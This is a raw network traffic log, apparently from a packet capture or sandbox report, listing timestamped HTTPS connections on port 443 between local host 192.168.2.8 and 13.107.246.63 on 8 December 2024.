Dec 8, 2024 10:47:45.042761087 CET	49773	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:45.042778969 CET	443	49773	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:45.043075085 CET	443	49772	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:45.043359995 CET	49773	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:45.043368101 CET	443	49773	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:45.043747902 CET	49772	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:45.043771029 CET	443	49772	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:45.044145107 CET	49772	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:45.044150114 CET	443	49772	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:45.044497967 CET	443	49774	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:45.044821978 CET	49774	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:45.044856071 CET	443	49774	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:45.046500921 CET	49774	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:45.046509027 CET	443	49774	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:45.087405920 CET	443	49771	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:45.087938070 CET	49771	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:45.087970018 CET	443	49771	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:45.088406086 CET	49771	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:45.088413000 CET	443	49771	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:45.470069885 CET	443	49770	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:45.470216036 CET	443	49770	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:45.470345974 CET	49770	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:45.470554113 CET	49770	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:45.470554113 CET	49770	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:45.470592022 CET	443	49770	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:45.470603943 CET	443	49770	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:45.476516962 CET	49775	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:45.476562023 CET	443	49775	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:45.476602077 CET	443	49773	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:45.476689100 CET	443	49773	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:45.476701975 CET	49775	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:45.476799011 CET	49773	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:45.476916075 CET	49775	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:45.476916075 CET	49773	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:45.476929903 CET	443	49775	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:45.476943016 CET	443	49773	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:45.476953030 CET	49773	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:45.476957083 CET	443	49773	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:45.477650881 CET	443	49772	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:45.477716923 CET	443	49772	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:45.477885008 CET	49772	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:45.478012085 CET	49772	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:45.478012085 CET	49772	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:45.478024960 CET	443	49772	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:45.478039980 CET	443	49772	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:45.478238106 CET	443	49774	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:45.478313923 CET	443	49774	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:45.479967117 CET	49777	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:45.479969978 CET	49776	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:45.479999065 CET	443	49776	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:45.480015993 CET	443	49777	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:45.480052948 CET	49774	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:45.480052948 CET	49774	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:45.480067015 CET	49776	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:45.480073929 CET	49774	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:45.480079889 CET	443	49774	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:45.480103016 CET	49777	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:45.480241060 CET	49777	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:45.480248928 CET	443	49777	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:45.480855942 CET	49776	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:45.480871916 CET	443	49776	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:45.482220888 CET	49778	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:45.482243061 CET	443	49778	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:45.482470036 CET	49778	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:45.482470036 CET	49778	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:45.482490063 CET	443	49778	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:45.521770000 CET	443	49771	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:45.521861076 CET	443	49771	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:45.521981955 CET	49771	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:45.527757883 CET	49771	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:45.527757883 CET	49771	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:45.527785063 CET	443	49771	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:45.527797937 CET	443	49771	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:45.531238079 CET	49779	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:45.531300068 CET	443	49779	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:45.531455040 CET	49779	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:45.531563997 CET	49779	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:45.531579971 CET	443	49779	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:47.192389011 CET	443	49775	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:47.192898035 CET	443	49777	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:47.193200111 CET	49775	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:47.193217039 CET	443	49775	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:47.193413019 CET	443	49776	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:47.193628073 CET	49775	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:47.193633080 CET	443	49775	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:47.193664074 CET	49777	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:47.193695068 CET	443	49777	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:47.194133043 CET	49777	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:47.194142103 CET	443	49777	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:47.194212914 CET	49776	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:47.194231033 CET	443	49776	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:47.195863962 CET	443	49778	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:47.195918083 CET	49776	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:47.195923090 CET	443	49776	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:47.196496010 CET	49778	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:47.196504116 CET	443	49778	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:47.196731091 CET	49778	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:47.196738005 CET	443	49778	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:47.246263981 CET	443	49779	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:47.247358084 CET	49779	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:47.247358084 CET	49779	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:47.247402906 CET	443	49779	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:47.247427940 CET	443	49779	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:47.627352953 CET	443	49777	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:47.627427101 CET	443	49777	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:47.627701044 CET	49777	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:47.627988100 CET	49777	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:47.628014088 CET	443	49777	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:47.628058910 CET	49777	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:47.628065109 CET	443	49777	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:47.628170967 CET	443	49776	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:47.628246069 CET	443	49776	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:47.628341913 CET	49776	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:47.628787994 CET	443	49775	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:47.628880978 CET	443	49775	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:47.629527092 CET	49776	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:47.629553080 CET	443	49776	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:47.629589081 CET	49775	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:47.629617929 CET	49776	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:47.629625082 CET	443	49776	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:47.630614996 CET	443	49778	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:47.630681992 CET	443	49778	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:47.632102013 CET	49780	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:47.632137060 CET	443	49780	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:47.632221937 CET	49778	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:47.632222891 CET	49780	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:47.632374048 CET	49775	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:47.632380962 CET	443	49775	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:47.632405996 CET	49775	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:47.632411003 CET	443	49775	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:47.634407043 CET	49782	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:47.634418011 CET	443	49782	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:47.634470940 CET	49781	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:47.634501934 CET	443	49781	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:47.634529114 CET	49782	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:47.634673119 CET	49778	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:47.634685040 CET	443	49778	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:47.634704113 CET	49778	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:47.634708881 CET	443	49778	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:47.634721041 CET	49781	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:47.634910107 CET	49780	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:47.634921074 CET	443	49780	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:47.636992931 CET	49783	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:47.637006998 CET	443	49783	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:47.637186050 CET	49783	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:47.639736891 CET	49782	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:47.639748096 CET	443	49782	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:47.639942884 CET	49781	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:47.639957905 CET	443	49781	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:47.640213013 CET	49783	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:47.640223980 CET	443	49783	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:47.679862976 CET	443	49779	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:47.679943085 CET	443	49779	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:47.680104971 CET	49779	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:47.680568933 CET	49779	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:47.680582047 CET	443	49779	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:47.680655003 CET	49779	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:47.680660009 CET	443	49779	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:47.685008049 CET	49784	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:47.685050964 CET	443	49784	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:47.685261011 CET	49784	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:47.685509920 CET	49784	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:47.685523033 CET	443	49784	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:49.349817038 CET	443	49780	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:49.350301027 CET	49780	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:49.350328922 CET	443	49780	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:49.350765944 CET	49780	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:49.350770950 CET	443	49780	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:49.357827902 CET	443	49781	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:49.357846975 CET	443	49783	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:49.358335972 CET	49783	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:49.358335972 CET	49781	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:49.358364105 CET	443	49783	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:49.358381987 CET	443	49781	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:49.358942032 CET	49781	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:49.358957052 CET	443	49781	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:49.359107971 CET	443	49782	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:49.359126091 CET	49783	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:49.359133005 CET	443	49783	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:49.359916925 CET	49782	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:49.359926939 CET	443	49782	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:49.360464096 CET	49782	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:49.360469103 CET	443	49782	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:49.401005030 CET	443	49784	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:49.402223110 CET	49784	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:49.402223110 CET	49784	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:49.402240992 CET	443	49784	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:49.402256012 CET	443	49784	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:49.782989025 CET	443	49780	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:49.783061981 CET	443	49780	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:49.783150911 CET	49780	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:49.783360004 CET	49780	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:49.783380032 CET	443	49780	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:49.783411026 CET	49780	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:49.783417940 CET	443	49780	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:49.786331892 CET	49785	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:49.786379099 CET	443	49785	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:49.786497116 CET	49785	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:49.786748886 CET	49785	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:49.786765099 CET	443	49785	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:49.791093111 CET	443	49783	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:49.791115046 CET	443	49781	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:49.791162014 CET	443	49783	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:49.791183949 CET	443	49781	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:49.791215897 CET	49783	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:49.791260004 CET	49781	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:49.791421890 CET	49783	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:49.791421890 CET	49783	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:49.791421890 CET	49781	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:49.791440964 CET	443	49783	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:49.791450024 CET	443	49783	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:49.791460991 CET	443	49781	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:49.791476965 CET	49781	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:49.791481972 CET	443	49781	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:49.792721033 CET	443	49782	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:49.792778969 CET	443	49782	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:49.792960882 CET	49782	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:49.792980909 CET	49782	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:49.792980909 CET	49782	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:49.792989016 CET	443	49782	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:49.792996883 CET	443	49782	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:49.793690920 CET	49786	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:49.793719053 CET	443	49786	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:49.793986082 CET	49786	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:49.795561075 CET	49786	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:49.795569897 CET	443	49786	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:49.795578003 CET	49787	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:49.795608997 CET	443	49787	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:49.795869112 CET	49788	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:49.795875072 CET	49787	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:49.795907974 CET	443	49788	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:49.795984030 CET	49787	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:49.795998096 CET	443	49787	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:49.796025038 CET	49788	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:49.796483040 CET	49788	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:49.796499014 CET	443	49788	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:49.836178064 CET	443	49784	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:49.836241007 CET	443	49784	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:49.836371899 CET	49784	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:49.836570978 CET	49784	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:49.836570978 CET	49784	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:49.836581945 CET	443	49784	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:49.836591005 CET	443	49784	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:49.839135885 CET	49789	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:49.839184046 CET	443	49789	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:49.839611053 CET	49789	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:49.839735985 CET	49789	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:49.839751005 CET	443	49789	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:51.590661049 CET	443	49787	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:51.591927052 CET	49787	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:51.591941118 CET	443	49787	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:51.592010021 CET	443	49789	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:51.592458963 CET	443	49786	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:51.592513084 CET	49787	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:51.592519045 CET	443	49787	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:51.592632055 CET	443	49788	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:51.593316078 CET	49786	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:51.593332052 CET	443	49786	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:51.594043016 CET	49786	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:51.594049931 CET	443	49786	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:51.594697952 CET	49789	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:51.594712019 CET	443	49789	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:51.595452070 CET	49789	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:51.595458984 CET	443	49789	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:51.595740080 CET	49788	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:51.595762968 CET	443	49788	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:51.596534967 CET	49788	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:51.596539974 CET	443	49788	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:51.609082937 CET	443	49785	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:51.609788895 CET	49785	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:51.609801054 CET	443	49785	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:51.610229015 CET	49785	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:51.610235929 CET	443	49785	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:52.024530888 CET	443	49787	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:52.024601936 CET	443	49787	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:52.024697065 CET	49787	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:52.025078058 CET	49787	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:52.025108099 CET	443	49787	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:52.025121927 CET	49787	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:52.025129080 CET	443	49787	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:52.026041031 CET	443	49788	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:52.026112080 CET	443	49788	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:52.026164055 CET	49788	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:52.026336908 CET	49788	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:52.026336908 CET	49788	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:52.026352882 CET	443	49788	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:52.026362896 CET	443	49788	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:52.026556969 CET	443	49786	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:52.026632071 CET	443	49786	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:52.026683092 CET	49786	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:52.027419090 CET	49786	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:52.027435064 CET	443	49786	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:52.027446985 CET	49786	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:52.027452946 CET	443	49786	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:52.030405045 CET	49790	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:52.030435085 CET	443	49790	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:52.030500889 CET	49790	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:52.030592918 CET	49791	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:52.030637980 CET	443	49791	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:52.030688047 CET	49791	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:52.031202078 CET	49790	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:52.031212091 CET	443	49790	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:52.031449080 CET	443	49789	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:52.031514883 CET	443	49789	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:52.031558037 CET	49789	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:52.031640053 CET	49789	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:52.031651974 CET	443	49789	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:52.031661987 CET	49789	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:52.031666040 CET	443	49789	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:52.031815052 CET	49791	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:52.031826019 CET	443	49791	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:52.032150030 CET	49792	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:52.032171965 CET	443	49792	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:52.032231092 CET	49792	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:52.032421112 CET	49792	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:52.032433033 CET	443	49792	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:52.034133911 CET	49793	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:52.034157991 CET	443	49793	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:52.034230947 CET	49793	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:52.034447908 CET	49793	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:52.034460068 CET	443	49793	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:52.043320894 CET	443	49785	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:52.043385983 CET	443	49785	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:52.043453932 CET	49785	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:52.043582916 CET	49785	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:52.043582916 CET	49785	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:52.043600082 CET	443	49785	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:52.043608904 CET	443	49785	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:52.046298981 CET	49794	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:52.046323061 CET	443	49794	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:52.046374083 CET	49794	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:52.058778048 CET	49794	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:52.058789968 CET	443	49794	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:53.745202065 CET	443	49792	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:53.747550011 CET	443	49790	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:53.747634888 CET	443	49791	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:53.748436928 CET	443	49793	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:53.748487949 CET	49792	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:53.748502970 CET	443	49792	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:53.748823881 CET	49792	443	192.168.2.8	13.107.246.63
